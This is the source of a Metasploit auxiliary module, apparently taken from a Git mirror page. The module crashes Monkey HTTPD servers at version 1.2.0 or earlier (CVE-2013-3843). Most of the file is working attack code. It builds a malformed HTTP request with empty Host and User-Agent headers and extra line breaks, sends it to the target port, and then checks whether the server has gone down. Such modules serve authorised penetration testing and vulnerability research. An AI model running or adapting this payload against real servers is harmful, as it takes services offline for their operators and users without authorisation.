modules/auxiliary/dos/http/monkey_headers.rb - master - githubmirror/metasploit-framework

modules/auxiliary/dos/http/monkey_headers.rb

79 строк2 KB

g0t mi1k

#{rhost}:#{rport} -> #{Rex::Socket.to_authority(rhost, rport)}

19 май 2026, 18:12

19 май 2026, 18:120745cc6

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Monkey HTTPD Header Parsing Denial of Service (DoS)',
        'Description' => %q{
          This module causes improper header parsing that leads to a segmentation fault
          due to a specially crafted HTTP request. Affects version <= 1.2.0.
        },
        'Author' => [
          'Doug Prostko <dougtko[at]gmail.com>'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2013-3843'],
          ['OSVDB', '93853'],
          ['BID', '60333']
        ],
        'DisclosureDate' => '2013-05-30',
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(2001)
      ]
    )
  end

  def dos
    req = "GET / HTTP/1.1\r\n"
    req << "Host:\r\n\r\nlocalhost\r\n"
    req << "User-Agent:\r\n\r\n"

    connect
    sock.put(req)
    disconnect
  end

  def is_alive?
    begin
      connect
    rescue Rex::ConnectionRefused
      return false
    ensure
      disconnect
    end

    true
  end

  def run
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending DoS packet...")
    dos

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Checking server status...")
    select(nil, nil, nil, 1)

    if is_alive?
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - Server is still alive")
    else
      print_good("#{Rex::Socket.to_authority(rhost, rport)} - Connection Refused: Success!")
    end
  end
end